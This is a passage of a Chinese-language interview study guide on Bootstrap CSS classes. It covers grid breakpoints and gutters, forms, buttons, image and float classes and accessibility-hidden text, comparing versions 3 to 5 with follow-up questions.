  5. 列宽度: Bootstrap网格系统将页面水平分为12列。通过指定要横跨的列数,可以控制列的宽度。例如,如果想要创建三个相等宽度的列,可以使用三个.col-xs-4,每个列占据12个列中的4个列,即1/3的宽度。

通过遵循以上原则,可以利用Bootstrap网格系统快速创建具有灵活布局的网页。网格类提供了简单且易于使用的方式来定义列的宽度和排列方式,而预定义的样式和混合类则可用于更高级的布局需求。

💬 面试官追问

  • 页面底部莫名多了一条横向滚动条,查下来是 row 引起的,为什么?

    row 带负 margin,外面没有 container 或者带 padding 的父级兜着,就会左右各凸出半个间距,超出视口出现滚动条。给它外面补 container,或者用 g-0 去掉间距。

  • 为什么不直接在列上写 margin 做间距?

    margin 不算在百分比宽度里,33.333% 加上 margin 三列就放不下了,得自己用 calc 扣。用 padding 配合 box-sizing: border-box,宽度里已经包含间距,百分比照样能加到 100%。

  • 给 col 加了背景色,几列的色块连成一片,看不出间距了,为什么?

    间距本来就是列自己的 padding,背景色会铺满 padding 区域,所以色块之间没有缝。背景加在列里面的那层内容元素上,比如 <div class="col"><div class="card">,间距才露得出来。

  • Bootstrap 5 里想要列间距 48px,改哪里?

    用 gx-5 这类工具类,或者在 row 上直接写 style="--bs-gutter-x: 3rem"。5 把间距抽成了 CSS 变量,列的 padding 和 row 的负 margin 都是从这个变量算的,改一处两边一起变。

# 5 对于各类尺寸的设备,Bootstrap设置的class前缀分别是什么

⚡ 30 秒速记

  • Bootstrap 4/5:.col-(<576px)、sm(≥576px)、md(≥768px)、lg(≥992px)、xl(≥1200px)
  • Bootstrap 5 多了 xxl(≥1400px)
  • Bootstrap 3 完全不一样:xs(<768px)、sm(≥768px)、md(≥992px)、lg(≥1200px),超小屏要写 col-xs-*
  • 移动优先:前缀表示「从这个宽度往上」生效,没写的断点继承比它小的那档
  • 面试时先问清是哪个版本,3 和 4 的 md 根本不是同一个宽度

Bootstrap 4 的前缀是无前缀、sm、md、lg、xl 五档,5 再加一个 xxl,对应 576、768、992、1200、1400 这几个 px 断点。 它是移动优先的,断点都是 min-width,所以 col-md-6 的意思是「768px 以上占一半」,下面没写就回退到 .col- 那档或者整行。这里最容易答错的是版本:Bootstrap 3 只有四档,超小屏写 col-xs-*,而且断点是 768、992、1200,它的 md 相当于 4 里的 lg。老项目升级时这个差异会让布局整体错一档。

  • 超小设备手机(<576px):.col-
  • 小型设备平板电脑(>=576px):.col-sm-
  • 中型设备台式电脑(>=768px):.col-md-
  • 大型设备台式电脑(>=992px):.col-lg-
  • 超大型设备台式电脑(>=1200px):.col-xl-

请注意,Bootstrap 4中的class前缀在移动优先的设计下发生了变化。超小设备手机没有前缀,而其他尺寸的设备都使用相应的前缀进行类名设置。这些前缀用于指定列的宽度和响应式行为。

💬 面试官追问

  • class="col-12 col-lg-4",在 800px 宽的平板上是什么样?

    800px 没到 lg 的 992px,col-lg-4 不生效,回退到 col-12 占满一行。中间那档想要两列就补一个 col-md-6。

  • Bootstrap 3 项目升到 4,col-md-* 的布局为什么整体提前切换了?

    3 的 md 是 ≥992px,4 的 md 是 ≥768px。原来在平板上还是单列的地方,升级后变成多列了,要把 md 批量换成 lg 才能保持原样,col-xs-* 也要改成 col-*。

  • 只想在手机上隐藏一个元素,桌面显示,怎么写?

    class="d-none d-md-block"。移动优先,先全局隐藏,再从 md 起显示。别反着想去找「只在小屏生效」的类。

  • 设计稿断点是 1440px,跟 Bootstrap 默认的对不上,怎么办?

    用 Sass 源码的话直接改 $grid-breakpoints 变量重新编译。只引了编译好的 CSS 就改不了断点,硬写覆盖样式会越写越乱。

# 6 Bootstrap 网格系统列与列之间的间隙宽度是多少

⚡ 30 秒速记

  • Bootstrap 3/4:30px,每列左右各 15px 的 padding
  • Bootstrap 5:1.5rem(根字号 16px 时是 24px),每列左右各 0.75rem
  • row 用等量的负 margin 抵消首尾列的那半个间距
  • 5 可以用 g-* / gx-* / gy-* 调,本质是改 --bs-gutter-x / --bs-gutter-y 变量,g-0 去掉间距
  • 5 的间距还是 padding 方案,没有改成 gap,这点很多资料写错了

Bootstrap 3 和 4 默认间距是 30px,Bootstrap 5 改成了 1.5rem,一般就是 24px。 这个间距不是单独插了个空白,而是每列左右各带半个间距的 padding,两列挨在一起刚好凑满。最左最右多出来的半个,row 用负 margin 抵消掉。5 把它做成了 CSS 变量,所以 gx-3、g-0 这种类改的其实是变量,列的 padding 和 row 的 margin 跟着一起变。改间距的时候别直接在 col 上加 margin,会把百分比宽度撑爆。

在 Bootstrap 中,默认的列与列之间的间隙宽度是 30px。这个间隙宽度是通过列的内边距(padding)来实现的,每个列的左右内边距都是 15px。这样可以在列与列之间创建一个空白间隔,用于提供视觉上的分隔和排列。

补一下各版本的实际实现,背数字不如看懂这几行:

/* Bootstrap 4 */
.row   { margin-right: -15px; margin-left: -15px; }
.col-6 { padding-right: 15px; padding-left: 15px; flex: 0 0 50%; max-width: 50%; }

/* Bootstrap 5:间距抽成变量 */
.row {
  --bs-gutter-x: 1.5rem;
  --bs-gutter-y: 0;
  margin-right: calc(-.5 * var(--bs-gutter-x));
  margin-left:  calc(-.5 * var(--bs-gutter-x));
  margin-top:   calc(-1 * var(--bs-gutter-y));
}
.row > * {
  padding-right: calc(var(--bs-gutter-x) * .5);
  padding-left:  calc(var(--bs-gutter-x) * .5);
  margin-top: var(--bs-gutter-y);
}
.g-0 { --bs-gutter-x: 0; --bs-gutter-y: 0; }

所以 Bootstrap 5 里改间距,本质是改 row 上的两个变量,.row > * 的 padding 和 row 的负 margin 会一起重新计算。gy-* 是 5 新加的:用列的 margin-top 做纵向间距,再用 row 的负 margin-top 把第一行多出来的那段抵掉。

💬 面试官追问

  • 在 col 上又加了个 px-4,为什么列间距变大了,内容也往里缩?

    px-4 覆盖了列自己的左右 padding,而间距本来就是靠这个 padding 做的。想调间距用 gx-*,想给内容留白就在列里面再包一层。

  • 卡片列表想要上下也有间距,以前怎么做,5 怎么做?

    4 没有纵向间距,大家都在卡片上加 mb-4。5 有 gy-4,它会给列加 margin-top、row 加负的 margin-top,换行后上下间距是均匀的。

  • 为什么 5 用 rem 而不是 px?

    用户调大浏览器默认字号时,间距会跟着字号一起放大,版面比例不会被挤坏。px 是写死的,字变大了间距不变。

  • 现在 flex 和 grid 都有 gap,Bootstrap 这套 padding 方案还有意义吗?

    gap 更直接,不用负 margin,嵌套也干净。Bootstrap 保留 padding 主要是为了兼容老写法和老浏览器,自己写布局我会直接用 gap。

# 7 如果需要在一个标题的旁边创建副标题,可以怎样操作

⚡ 30 秒速记

  • 标题里嵌 <small>:<h1>主标题 <small>副标题</small></h1>
  • Bootstrap 3 会自动把 h1 small 调小、调浅;4/5 只缩字号,要变灰得自己加 text-body-secondary(4 里叫 text-muted)
  • 副标题想独立成行用 <p class="lead"> 或者 <hgroup> 把标题和副标题包起来
  • 别给整个 <h1> 加 .small 当副标题,那样缩小的是主标题本身
  • <small> 语义是附注,副标题只是视觉上小一点的话用 <span> 加类也行

最常用的是在标题里放一个 <small>,比如 <h1>订单详情 <small class="text-body-secondary">共 3 件</small></h1>。 这样主副标题在同一个标题元素里,读屏器念标题时会连着念出来,视觉上副标题字号小一圈。版本差异要说一下:Bootstrap 3 里 small 会自动变灰,4 和 5 只缩字号,颜色要自己加类。有些答案说给 <h1> 加 .small 类做副标题,这是把主标题整个缩小了,不是副标题。

要在一个标题的旁边创建副标题,可以使用以下两种方式进行操作:

  1. 使用 <small> 元素:在标题元素内部的旁边添加一个 <small> 元素,并在该元素中放置副标题的内容。示例代码如下:
<h1>主标题 <small>副标题</small></h1>

在上述示例中,<h1> 元素表示主标题,而 <small> 元素表示副标题。

  1. 使用 .small 类:给标题元素添加一个 .small 的类,然后在 CSS 中定义该类的样式。示例代码如下:
<h1 class="small">主标题</h1>

在上述示例中,通过给 <h1> 元素添加 .small 类,可以在 CSS 中为该类定义副标题的样式。

无论是使用 <small> 元素还是添加 .small 类,都可以在标题的旁边创建副标题,并通过样式进行调整。选择哪种方式取决于具体的需求和设计风格。

💬 面试官追问

  • 副标题要单独一行显示,还用 <small> 吗?

    可以给 <small> 加 d-block,或者干脆在 <h1> 下面放一个 <p class="lead">。后者语义更干净,副标题不会被算进标题文字里。

  • 页面 <title> 和搜索结果里出现了副标题的文字,正常吗?

    <small> 在 <h1> 里面,爬虫抓标题时会把它一起算进去。如果不希望副标题影响标题关键词,就把它拿到 <h1> 外面。

  • <hgroup> 现在还能用吗?

    能用。HTML 规范一度把它删了,后来又加回来,现在的定义是包住一个 h1~h6 加若干 <p>,用来表示标题和副标题这一组。

  • .h1 类和 <h1> 标签有什么区别?

    .h1 只给样式,没有标题语义。比如侧栏里某个文字想长得像大标题,但不该出现在文档大纲里,就用 <p class="h1">。

# 8 用Bootstrap,如何设置文字的对齐方式?

⚡ 30 秒速记

  • Bootstrap 5:text-start / text-center / text-end
  • Bootstrap 3/4:text-left / text-center / text-right,升级到 5 要批量改名
  • 响应式写法从 4 开始有:text-md-center = 768px 以上居中
  • 改名是为了逻辑方向,start/end 在从右往左排版的阿拉伯语页面会自动翻转
  • 这些类管的是块内文字的 text-align,对行内元素本身没效果

Bootstrap 5 用 text-start、text-center、text-end,3 和 4 里是 text-left、text-center、text-right。 改名不是随便改的,start 和 end 是逻辑方向,页面 dir="rtl" 的时候「开始」就在右边,类名不用跟着换。还可以加断点,比如 text-center text-md-start,手机上居中、桌面左对齐,这个在卡片标题上很常用。注意它只对块级元素里的内容生效,直接给 <span> 加 text-left 是没用的。

在 Bootstrap 中,可以使用以下类来设置文字的对齐方式:

  • text-center:用于将文本居中对齐。
  • text-right:用于将文本向右对齐。
  • text-left:用于将文本向左对齐。

这些类可以应用于任何文本元素,例如 <p>、<h1>、<span> 等。示例代码如下:

<p class="text-center">居中对齐的文本</p>
<h1 class="text-right">向右对齐的标题</h1>
<span class="text-left">向左对齐的文本</span>

通过给相应的元素添加适当的类,即可设置文本的对齐方式。请根据需要选择相应的类来实现所需的对齐效果。

💬 面试官追问

  • 给 <span class="text-center"> 加了类,文字没居中,为什么?

    text-align 作用在块级容器上,控制的是它里面行内内容怎么排。span 是行内元素,宽度就是文字宽度,没地方居中。把类加到父级块元素上。

  • Bootstrap 4 升 5 之后,原来的右对齐全失效了,怎么回事?

    text-right 在 5 里被删了,换成 text-end。全局搜 text-left / text-right、float-left / float-right、ml-* / mr-* 一起替换,这几组都是同一次改名。

  • 手机上居中、桌面左对齐,怎么写?

    class="text-center text-md-start"。移动优先,先写小屏的默认值,再写大屏覆盖。

  • 表格里数字列想右对齐,用 text-end 合适吗?

    合适,放在 td 和对应的 th 上。金额列再加一个 font-variant-numeric: tabular-nums 让数字等宽,小数点能上下对齐。

# 9 Bootstrap如何设置响应式表格?

⚡ 30 秒速记

  • 表格加 .table,外面包一层 <div class="table-responsive">
  • 原理就是容器 overflow-x: auto,窄屏时表格在容器里横向滚,不撑破页面
  • 带断点版本:table-responsive-md = 768px 以下才允许滚动(Bootstrap 4 起)
  • Bootstrap 3 的 table-responsive 只在 768px 以下生效,4/5 的无后缀版本是所有宽度都生效
  • table-striped、table-bordered 这些只管外观,跟响应式没关系

响应式表格就是外面包一个 table-responsive 的 div,表格宽了就在这个容器里横向滚动。 它没有什么魔法,就是给容器加了 overflow-x: auto,表格本身宽度不变,只是不会把整个页面撑出横向滚动条。4 以后还能写 table-responsive-lg 这种,表示 992px 以下才滚动。实际项目里列很多的表格,我会再配合固定首列或者小屏改成卡片列表,单靠横滑体验其实一般。

要创建响应式的表格,可以将表格包裹在具有 table-responsive 类的父元素中。这样可以使表格在小屏幕设备上水平滚动,并保持适当的显示。

下面是设置响应式表格的示例代码:

<div class="table-responsive">
  <table class="table">
    <!-- 表格内容 -->
  </table>
</div>

通过将表格包裹在具有 table-responsive 类的 <div> 元素中,即可实现响应式的表格。当表格在小屏幕设备上无法适应屏幕宽度时,用户可以通过水平滚动来查看表格的内容。

请注意,响应式表格需要使用 table 类来设置基本的表格样式。可以根据需要添加其他 Bootstrap 提供的表格类,如表格样式类(table-striped、table-bordered 等)和表格颜色类(table-primary、table-success 等)等。

💬 面试官追问

  • 加了 table-responsive,表格还是把页面撑出了横向滚动条,为什么?

    多半是外层是 flex 子项,默认 min-width: auto 不肯缩到比表格还窄,overflow 就没机会生效。给那个 flex 子项加 min-width: 0。

  • 横向滚动时想让第一列固定不动,怎么做?

    给第一列的 th 和 td 加 position: sticky; left: 0;,再给个背景色,不然滚过去的内容会透出来。它的滚动容器就是 table-responsive 那层。

  • 用键盘的人能滚这个表格吗?

    默认不行,div 拿不到焦点。给容器加 tabindex="0"、role="region" 和 aria-label="订单列表",Tab 进去后就能用方向键滚。

  • 手机上二十几列的报表,横滑还是改成卡片?

    看用途。要横向对比数据的报表就保留表格横滑加固定首列;只是查看单条详情的,小屏改成每行一张卡片,用户体验好很多。

# 10 使用Bootstrap创建垂直表单的基本步骤?

⚡ 30 秒速记

  • 默认就是垂直布局,不用加特殊类,label 在上、控件在下
  • Bootstrap 5:每组 <div class="mb-3">,label 加 form-label,控件加 form-control
  • Bootstrap 3/4:每组用 form-group 包,5 删了 form-group,改用间距类 mb-3
  • label 的 for 对上控件的 id,点文字能聚焦,读屏器也能念出字段名
  • <form> 上的 role="form" 是多余的,原生 form 本来就有这个语义

垂直表单是 Bootstrap 的默认形态,label 和控件一行一个往下排,关键是类名按版本写对。 Bootstrap 5 是每组一个 mb-3,label 加 form-label,输入框、textarea 加 form-control,下拉框在 5 里要用 form-select。3 和 4 的每组外层是 form-group,5 把它删了,直接用间距工具类。还有一个经常被忽略的点是 label 的 for 要和控件 id 对上,这是无障碍的基本要求,不只是为了点文字能聚焦。

使用 Bootstrap 创建垂直表单的基本步骤如下:

  1. 创建一个 <form> 元素,并添加 role="form" 属性,用于标识该表单的角色。
<form role="form">
  <!-- 表单内容 -->
</form>
  1. 将每个表单项(标签和控件)放置在一个带有 class="form-group" 的 <div> 元素中,这样可以获得最佳的间距和样式。
<form role="form">
  <div class="form-group">
    <!-- 表单项 -->
  </div>
</form>
  1. 将文本输入框 <input>、文本域 <textarea> 和下拉菜单 <select> 元素添加 class="form-control" 类,以应用 Bootstrap 提供的样式和布局。
<form role="form">
  <div class="form-group">
    <label for="name">姓名:</label>
    <input type="text" class="form-control" id="name" placeholder="请输入姓名">
  </div>
  <div class="form-group">
    <label for="email">邮箱:</label>
    <input type="email" class="form-control" id="email" placeholder="请输入邮箱">
  </div>
  <div class="form-group">
    <label for="message">留言:</label>
    <textarea class="form-control" id="message" placeholder="请输入留言内容"></textarea>
  </div>
</form>

通过以上步骤,你可以使用 Bootstrap 创建一个简单的垂直表单。你可以根据需要添加更多的表单项,并根据 Bootstrap 提供的文档进行样式和布局的调整。

💬 面试官追问

  • Bootstrap 5 里 <select class="form-control"> 看着怪怪的,下拉箭头没了,为什么?

    5 给下拉框单独出了 form-select,它会画自定义箭头。form-control 是给文本输入用的,套在 select 上会把原生箭头样式抹掉。

  • 设计说不要显示 label,只用 placeholder,可以吗?

    我不接受只靠 placeholder。用户一输入提示就消失,读屏器也不一定念。真要隐藏就用 visually-hidden 把 label 视觉隐藏,或者用 form-floating 做浮动标签。

  • 复选框也是 form-control 吗?

    不是。Bootstrap 5 是外层 form-check,input 加 form-check-input,label 加 form-check-label。给复选框加 form-control 会被拉成整行宽。

  • 校验失败的提示怎么显示?

    控件加 is-invalid,紧跟一个 <div class="invalid-feedback">手机号格式不对</div>,它默认隐藏,兄弟元素带 is-invalid 时才显示。再给控件加 aria-describedby 指向这段提示。

# 11 使用Bootstrap创建水平表单的基本步骤?

⚡ 30 秒速记

  • Bootstrap 3:form 加 form-horizontal,label 加 control-label + col-sm-2,控件包在 col-sm-10 里
  • Bootstrap 4:form-group row,label 加 col-form-label + 列宽类
  • Bootstrap 5:row mb-3,label 加 col-form-label,form-horizontal 早就没了
  • 本质是借栅格把 label 和控件排在同一行,col-form-label 负责让文字和输入框垂直对齐
  • 窄屏时水平表单应该退回垂直,用 col-sm-* 这种带断点的类就会自动堆叠

水平表单本质就是用栅格把 label 和控件放在同一行,具体类名三个版本都不一样。 Bootstrap 3 靠 form 上的 form-horizontal,label 写 control-label col-sm-2;4 和 5 把这个类删了,直接把每组写成 row,label 加 col-form-label col-sm-2,控件放进 col-sm-10。col-form-label 是用来给 label 补上下 padding 的,不加文字会比输入框偏上。常见的错误写法是 label 只写 control-label 不给列宽,排出来是对不齐的。

使用 Bootstrap 创建水平表单的基本步骤如下:

  1. 创建一个 <form> 元素,并添加 class="form-horizontal" 类,以便应用水平表单的样式。
<form class="form-horizontal">
  <!-- 表单内容 -->
</form>
  1. 将每个表单项(标签和控件)放置在一个带有 class="form-group" 的 <div> 元素中,以获得最佳的间距和样式。
<form class="form-horizontal">
  <div class="form-group">
    <!-- 表单项 -->
  </div>
</form>
  1. 在标签元素中添加 class="control-label" 类,以标识其为表单项的标签。
<form class="form-horizontal">
  <div class="form-group">
    <label for="name" class="control-label">姓名:</label>
    <div class="col-sm-8">
      <input type="text" class="form-control" id="name" placeholder="请输入姓名">
    </div>
  </div>
  <div class="form-group">
    <label for="email" class="control-label">邮箱:</label>
    <div class="col-sm-8">
      <input type="email" class="form-control" id="email" placeholder="请输入邮箱">
    </div>
  </div>
</form>

通过以上步骤,你可以使用 Bootstrap 创建一个简单的水平表单。你可以根据需要添加更多的表单项,并根据 Bootstrap 提供的文档进行样式和布局的调整。

💬 面试官追问

  • label 和输入框排一行了,但文字明显比输入框偏上,少了什么?

    少了 col-form-label。它给 label 加了和输入框一样的上下 padding 和行高,两边基线才对得上。

  • 手机上 label 只有两个字宽,输入框挤得很窄,怎么改?

    列宽类用带断点的,比如 col-sm-2 和 col-sm-10,小于 576px 时两者都变成整行,自然退回成垂直表单。别写成不带断点的 col-2。

  • 有一项没有 label,只有一个「提交」按钮,怎么跟上面的输入框对齐?

    按钮那一列加偏移,<div class="col-sm-10 offset-sm-2">,让它和输入框的左边缘对齐。

  • 后台筛选表单一排放四个字段,用水平表单还是行内?

    用栅格排多列:每个字段一个 col-md-3,里面放垂直的 label 加控件。水平表单那种 label 在左的形态适合单列长表单,一排塞多个会很挤。

# 12 使用Bootstrap如何创建表单控件的帮助文本?

⚡ 30 秒速记

  • Bootstrap 5:<div class="form-text">,放在控件下面
  • Bootstrap 4:<small class="form-text text-muted">;Bootstrap 3:<span class="help-block">
  • 关键一步:帮助文本给个 id,控件加 aria-describedby="这个id",读屏器聚焦时才会念
  • 帮助文本是常驻提示;校验错误另有 invalid-feedback,别混用
  • 大部分人只答类名,主动提 aria-describedby 是加分点

Bootstrap 5 的帮助文本用 form-text,4 是 small.form-text.text-muted,3 是 help-block,但真正要讲的是怎么跟控件关联起来。 光把文字放在输入框下面,视力正常的人看得到,读屏器用户 Tab 到输入框时根本不知道下面有提示。所以要给帮助文本一个 id,输入框写 aria-describedby 指过去,聚焦时读屏器会先念字段名再念这段说明。比如密码框下面「8~20 位,包含字母和数字」,就该这么关联。

要在 Bootstrap 中创建表单控件的帮助文本,可以按照以下步骤进行操作:

  1. 将帮助文本放置在与表单控件相关联的 <div> 或 <form-group> 元素内。
<div class="form-group">
  <label for="exampleInputName">姓名</label>
  <input type="text" class="form-control" id="exampleInputName">
  <!-- 帮助文本 -->
</div>
  1. 在帮助文本的标签(通常是 <span> 或 <p>)中添加 class="help-block"。
<div class="form-group">
  <label for="exampleInputName">姓名</label>
  <input type="text" class="form-control" id="exampleInputName">
  <span class="help-block">这里是帮助文本</span>
</div>

通过以上步骤,你可以在 Bootstrap 的表单控件中添加帮助文本。帮助文本将根据 Bootstrap 的样式进行显示,并提供相关的提示或指导信息。你可以根据需要自定义帮助文本的样式。

💬 面试官追问

  • 帮助文本和错误提示都想关联到同一个输入框,怎么写?

    aria-describedby 可以写多个 id,用空格隔开:aria-describedby="pwdHelp pwdError",读屏器会按顺序念。

  • 帮助文本放在 label 里面行不行?

    能用,但 label 是字段名,塞一长段说明进去,读屏器每次聚焦都要念一大串名字。短的格式提示可以放 label 里,长说明还是单独放加 aria-describedby。

  • Bootstrap 3 升 5,help-block 还能用吗?

    不能,5 里没有这个类了,样式会直接丢掉,要换成 form-text。

  • 错误提示是异步校验回来才出现的,读屏器没念,怎么办?

    aria-describedby 只在聚焦时念。异步出现的错误要放进一个 aria-live="polite" 的区域,或者校验失败时把焦点移回出错的字段。

# 13 使用Bootstrap激活或禁用按钮要如何操作?

⚡ 30 秒速记

  • 禁用 <button>:直接加原生 disabled 属性,点不了、聚焦不了,样式自动变灰
  • 禁用 <a class="btn">:没有 disabled 属性,要加 disabled 类 + aria-disabled="true" + tabindex="-1"
  • disabled 类只是 pointer-events: none,鼠标点不了,但键盘 Tab 过去按回车照样跳转
  • 激活态:加 active 类,再加 aria-pressed="true";Bootstrap 5 的切换按钮用 data-bs-toggle="button"
  • 布尔属性写 disabled 就行,disabled="false" 照样是禁用

原生按钮禁用就加 disabled 属性,激活就加 active 类,麻烦在 <a> 标签做的按钮。 <a> 没有 disabled 属性,Bootstrap 的 disabled 类只是加了 pointer-events: none,鼠标点不动,但键盘 Tab 过去回车还是能跳,所以要补 tabindex="-1" 和 aria-disabled="true",有点击逻辑的话事件里也要判断一下。active 表示按下的状态,比如工具栏的「加粗」按钮,同时加 aria-pressed="true",读屏器才知道它是按下的。

要在 Bootstrap 中激活或禁用按钮,可以按照以下步骤进行操作:

  • 激活按钮:给按钮添加 .active 的 class。
<button type="button" class="btn btn-primary active">激活按钮</button>
  • 禁用按钮:给按钮添加 disabled="disabled" 的属性。
<button type="button" class="btn btn-primary" disabled="disabled">禁用按钮</button>

通过以上步骤,你可以在 Bootstrap 中激活或禁用按钮。激活按钮将应用活动状态的样式,禁用按钮将禁用按钮的交互性并应用禁用状态的样式。

💬 面试官追问

  • 写了 <button disabled="false">,为什么按钮还是禁用的?

    disabled 是布尔属性,只要出现就是禁用,值写什么都没用。要启用就把属性去掉:btn.disabled = false 或者 removeAttribute('disabled')。

  • 禁用的按钮上想显示一个 tooltip 说明为什么不能点,没反应,为什么?

    禁用的 button 不触发鼠标事件,tooltip 收不到 hover。Bootstrap 文档的做法是外面包一层 <span tabindex="0">,把 tooltip 挂在这层上。

  • 提交按钮点了之后想防止重复点击,直接 disabled 就够了吗?

    disabled 能挡住 UI 层的连点,但请求失败了要记得恢复,最好按钮上同时给个加载状态。接口本身还是要做幂等,前端禁用挡不住重放。

  • active 类和 :active 伪类是一回事吗?

    不是。:active 只在鼠标按住那一下生效,松手就没了;active 类是你手动加的持久状态,表示「当前选中 / 已开启」。

# 14 Bootstrap有哪些关于img的class?

⚡ 30 秒速记

  • Bootstrap 4/5:img-fluid(响应式)、img-thumbnail(带边框圆角的缩略图)、rounded / rounded-circle
  • Bootstrap 3:img-responsive、img-rounded、img-circle、img-thumbnail
  • img-fluid = max-width: 100%; height: auto;,只缩不放大
  • 居中:img 是行内元素,用 d-block mx-auto,或者父级 text-center
  • 类名不管占位,img 写上 width / height 属性才能避免加载后顶动布局(CLS)

4 和 5 里常用的是 img-fluid、img-thumbnail、rounded、rounded-circle,3 里对应 img-responsive、img-thumbnail、img-rounded、img-circle。 最常用的是 img-fluid,它就是 max-width: 100% 加 height: auto,图片不会超出父容器,比例也不变。很多资料列的还是 3 的类名,在 5 里已经全没了。还有一点框架帮不了你:图片要写 width 和 height 属性,浏览器才能在图片下载前按比例预留位置,不然图一加载出来,下面的内容整体往下跳。

在 Bootstrap 中,有以下关于 <img> 元素的类(class)可用:

  • .img-rounded:为图片添加圆角效果
<img src="image.jpg" class="img-rounded" alt="圆角图片">
  • .img-circle:将图片呈现为圆形。
<img src="image.jpg" class="img-circle" alt="圆形图片">
  • .img-thumbnail:为图片添加缩略图样式。
<img src="image.jpg" class="img-thumbnail" alt="缩略图">
  • .img-responsive:使图片具有响应式特性,可以根据父元素的大小自动调整图片的尺寸。
<img src="image.jpg" class="img-responsive" alt="响应式图片">

通过使用这些类,可以为图片添加不同的样式和功能,以满足项目的需求。

💬 面试官追问

  • 加了 img-fluid,800px 宽的容器里放一张 400px 的图,会被拉大到 800px 吗?

    不会。max-width: 100% 只限制最大值,图片按自身 400px 显示。真要铺满就写 w-100。

  • 头像用 rounded-circle 变成了椭圆,为什么?

    原图不是正方形,border-radius: 50% 作用在长方形上就是椭圆。给图定死宽高,再加 object-fit: cover 裁成正方形。

  • 图片写了 width 和 height 属性,又加了 img-fluid,会不会变形?

    不会。img-fluid 有 height: auto,浏览器会用这两个属性算出宽高比,宽度缩了高度跟着按比例缩,同时下载前就能预留好位置。

  • 列表页几十张图,除了类名还该加什么?

    首屏以外的图加 loading="lazy",配合 srcset 和 sizes 让手机下小图。首屏那张大图反而不要懒加载,可以加 fetchpriority="high"。

# 15 Bootstrap中有关元素浮动及清除浮动的class?

⚡ 30 秒速记

  • Bootstrap 3:pull-left / pull-right
  • Bootstrap 4:float-left / float-right / float-none,支持 float-md-right 这种断点写法
  • Bootstrap 5:float-start / float-end / float-none,跟着逻辑方向走
  • 清浮动:父级加 clearfix,内部是 ::after { display: block; clear: both; content: ""; }
  • flex 子项上加 float 不生效;flex 布局里对齐用 ms-auto 这类类

浮动类三个版本名字都不一样:3 是 pull-left / pull-right,4 是 float-left / float-right,5 是 float-start / float-end,清浮动统一用 clearfix。 clearfix 加在父元素上,靠 ::after 伪元素清掉浮动,解决父级高度塌陷。现在 Bootstrap 自己的组件基本都是 flex 了,浮动类主要用在文字环绕图片这类场景。导航栏里想把按钮推到最右边,用 ms-auto 比 float-end 靠谱,因为 flex 容器里的子项写 float 是不起作用的。

在 Bootstrap 中,有以下关于元素浮动及清除浮动的类(class)可用:

  • .pull-left:将元素浮动到左边。
<div class="pull-left">左浮动元素</div>
  • .pull-right:将元素浮动到右边。
<div class="pull-right">右浮动元素</div>
  • .clearfix:清除浮动,用于解决浮动元素导致的父元素高度塌陷的问题。一般在包含浮动元素的父元素上应用此类。
<div class="clearfix">
  <div class="pull-left">左浮动元素</div>
  <div class="pull-right">右浮动元素</div>
</div>

通过使用这些类,可以实现元素的浮动和清除浮动的效果,使布局更加灵活和符合设计要求。

💬 面试官追问

  • 在 navbar 里给按钮加了 float-end,按钮没跑到右边,为什么?

    navbar 是 flex 容器,flex 子项的 float 直接被忽略。改成 ms-auto,用自动外边距把它推到最右。

  • 父元素加了 clearfix,为什么下一个兄弟元素还是绕着浮动走?

    clearfix 解决的是父级高度塌陷,浮动被包在父级里了,按理下面的兄弟不会受影响。还绕的话检查一下浮动元素是不是其实不在这个父级里,或者 clearfix 加错了层。

  • 现在还有必要用浮动吗?

    布局不用,文字环绕还得用。比如文章里一张图片左浮动,正文绕着排,这个 flex 和 grid 做不到。

  • clearfix 和给父级加 display: flow-root 哪个好?

    效果一样,flow-root 是专门建 BFC 的,一行搞定、语义清楚。老项目沿用 clearfix 就行,新代码我更倾向 flow-root。

# 16 除了屏幕阅读器外,其他设备上隐藏元素的class?

⚡ 30 秒速记

  • Bootstrap 5:visually-hidden,看不见但读屏器能念;3/4 里叫 sr-only
  • visually-hidden-focusable:平时隐藏,键盘聚焦时显示,典型是「跳到主内容」链接(4 里是 sr-only-focusable)
  • 原理:绝对定位 + 1px 宽高 + clip 裁剪 + overflow: hidden,元素还在无障碍树里
  • 对比:d-none 是 display: none,看不见、读屏器也念不到
  • 常用场景:图标按钮的文字说明、表单里视觉上不显示的 label

Bootstrap 5 用 visually-hidden,3 和 4 叫 sr-only,效果是屏幕上看不见,但读屏器照样能读。 它不是 display: none,那样连读屏器都会跳过。它是把元素缩成 1px、绝对定位、再裁掉,所以视觉上不存在,但还留在无障碍树里。比如一个只有放大镜图标的搜索按钮,里面放一个 <span class="visually-hidden">搜索</span>,读屏器就能念出「搜索 按钮」。另一个常用的是 visually-hidden-focusable,做「跳到主内容」链接,平时不占地方,按 Tab 时才冒出来。

除了屏幕阅读器外,可以使用 .sr-only 类来隐藏元素,这个类可以在其他设备上隐藏元素,但在屏幕阅读器中仍然可见。这对于提供辅助功能和可访问性非常有用。

例如,可以将 .sr-only 类应用于某个元素,以隐藏其内容:

<span class="sr-only">这段文本在其他设备上隐藏</span>

这样,在常规的可视设备上,这段文本是隐藏的,而在屏幕阅读器中,用户仍然可以访问和阅读这段文本的内容。

Bootstrap 5 里 visually-hidden 的实现大致是这样(省略了 !important):

.visually-hidden {
  position: absolute;
  width: 1px;
  height: 1px;
  padding: 0;
  margin: -1px;
  overflow: hidden;
  clip: rect(0, 0, 0, 0);
  white-space: nowrap; /* 防止文字被压成竖排一列,读屏器断词出错 */
  border: 0;
}

为什么不用 display: none:display: none 和 visibility: hidden 都会把元素从无障碍树里移除,读屏器读不到。上面这套写法只是让元素在视觉上缩成看不见的 1px,它还在 DOM 和无障碍树里。

典型用法:

<!-- 图标按钮补充文字 -->
<button class="btn btn-light">
  <svg aria-hidden="true">...</svg>
  <span class="visually-hidden">搜索</span>
</button>

<!-- 跳到主内容:只在键盘聚焦时显示 -->
<a class="visually-hidden-focusable" href="#main">跳到主内容</a>
<main id="main" tabindex="-1">...</main>

各版本对应关系:Bootstrap 3/4 是 sr-only / sr-only-focusable,Bootstrap 5 改名为 visually-hidden / visually-hidden-focusable。要在视觉和读屏器里都隐藏,就用 d-none。

💬 面试官追问

  • 为什么不用 opacity: 0 或者 visibility: hidden 来做读屏专用文字?

    visibility: hidden 和 display: none 一样会把元素从无障碍树里拿掉。opacity: 0 读屏器能念,但它还占着位置,还能被点到,布局会多出一块空白。

  • 图标按钮直接写 aria-label="搜索",和放 visually-hidden 文字有什么区别?

    效果差不多。aria-label 写起来更省事;visually-hidden 是真实文本,浏览器翻译插件能翻到,复制时也带得上。我一般图标按钮用 aria-label 就够了。

  • 「跳到主内容」链接按 Tab 出现了,回车之后焦点没跳过去,怎么回事?
